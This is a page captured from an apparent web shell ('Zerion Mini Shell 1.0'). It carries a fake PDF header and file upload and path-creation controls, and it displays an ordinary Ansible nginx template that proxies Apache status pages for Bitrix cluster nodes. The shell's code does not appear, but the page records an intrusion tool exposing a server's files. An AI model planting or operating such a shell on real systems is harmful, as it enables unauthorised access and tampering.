%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/ansible/roles/web/templates/nginx/
Upload File :
Create Path :
Current File : //etc/ansible/roles/web/templates/nginx/bx_apache_status.conf.j2

# {{ ansible_managed }}
# cofigure nginx for getting server-status info from apache for cluster nodes
#
server {
  listen {{ nginx_to_apache_monitoring_port }};
  server_name _;

  server_name_in_redirect off;
  access_log off;

  # for {{ apache_monitoring_page }}
  location ~*  ^{{ apache_monitoring_page }} {
    allow 127.0.0.1;
    {% for host in groups['bitrix-web'] %}
    {%if host != deleted_web_server %}
    allow {{ hostvars[host].bx_netaddr }};
    {% endif %}
    {% endfor %}
    {%if new_web_server != 'NOT_DEFINED' %}
    allow {{ hostvars[new_web_server].bx_netaddr }}; 
    {%endif%}
    deny all;
    proxy_pass http://{{ apache_monitoring_netaddr }}:{{ apache_monitoring_port }};
  }

  location / { deny all; }
}

Zerion Mini Shell 1.0